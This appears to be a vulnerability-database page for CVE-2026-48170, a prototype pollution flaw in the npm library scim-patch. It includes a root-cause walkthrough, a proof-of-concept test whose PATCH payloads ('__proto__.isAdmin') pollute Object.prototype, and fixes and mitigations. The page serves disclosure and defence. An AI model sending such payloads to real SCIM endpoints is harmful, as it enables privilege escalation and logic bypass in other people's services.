Skip to main content

scim-patch CVE-2026-48170

| EUVDEUVD-2026-54686 CRITICAL
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-06-22 https://github.com/thomaspoignant/scim-patch GHSA-9m6g-wc8r-q59c
9.1
CVSS 3.1 · Vendor: https://github.com/thomaspoignant/scim-patch
Share

Severity by source

Vendor (https://github.com/thomaspoignant/scim-patch) PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
vuln.today AI
9.1 CRITICAL

Network-reachable SCIM PATCH (AV:N/AC:L), requires a provisioning token (PR:L), no user interaction; library bug mutates whole Node process (S:C) with high integrity and partial confidentiality/availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Primary rating from Vendor (https://github.com/thomaspoignant/scim-patch).

CVSS VectorVendor: https://github.com/thomaspoignant/scim-patch

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 22, 2026 - 23:15 vuln.today
Analysis Generated
Jun 22, 2026 - 23:15 vuln.today

DescriptionCVE.org

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution (CWE-1321)
  • Affected versions: <= 0.9.0 (current HEAD 871b1e2)
  • Attack vector: Network - sent as part of a normal SCIM PATCH /Users/:id request body.
  • Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
  • Scope: Changed - the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

  • Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.
  • Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check - a real incident at one consumer).
  • Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

ts
function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

ts
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

  • "__proto__" in obj is always true, so the fresh-object branch is skipped.
  • obj = obj["__proto__"] now points to Object.prototype.
  • The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

ts
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin - the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

ts
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change - legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug - assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

AnalysisAI

Prototype pollution in the npm package scim-patch (versions <= 0.9.0) allows authenticated SCIM provisioning clients to mutate Object.prototype process-wide by submitting a PATCH operation whose value object contains a key such as __proto__.someProp or constructor.prototype.someProp. Because the side effect persists for the lifetime of the Node process and leaks into every plain object, downstream code that checks flags like req.user.isAdmin against unpolluted plain objects can suffer privilege escalation, logic bypass, or denial of service. Publicly available exploit code exists (proof-of-concept in the GHSA advisory and now in the package's test suite); no public exploit identified as in-the-wild use at time of analysis.

Technical ContextAI

scim-patch is a TypeScript/Node.js library implementing the SCIM 2.0 PATCH semantics (RFC 7644) used by identity providers and provisioning servers to update User and Group resources. The root cause (CWE-1321, Improperly Controlled Modification of Object Prototype Attributes) lives in src/scimPatch.ts: addOrReplaceObjectAttribute iterates attacker-controlled patch.value entries with Object.entries and feeds each key to resolvePaths, which splits on .. The resulting key path is then walked by assign with no denylist, so a segment of __proto__ causes the walker to step from a plain object onto Object.prototype and write the final segment there. The affected package is identified by CPE pkg:npm/scim-patch.

RemediationAI

Vendor-released patch: upgrade scim-patch to 0.9.1 or later, which adds a denylist of __proto__, constructor, and prototype segments in resolvePaths/assign and throws InvalidScimPatchOp when they appear (commit https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6, advisory https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c). For consumers who cannot upgrade immediately, start the Node process with the --frozen-intrinsics flag, or explicitly call Object.freeze(Object.prototype), Object.freeze(Array.prototype), and Object.freeze(Function.prototype) at startup - this neutralizes prototype writes (silent no-op in sloppy mode, TypeError in strict mode) at the cost of breaking any code that monkey-patches built-in prototypes. As an interim WAF/middleware control, reject SCIM PATCH request bodies whose JSON contains the substrings __proto__, constructor, or prototype in keys before they reach scimPatch(); the trade-off is potential false positives if legitimate SCIM extension attributes contain those tokens, which is uncommon but possible.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-48170 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy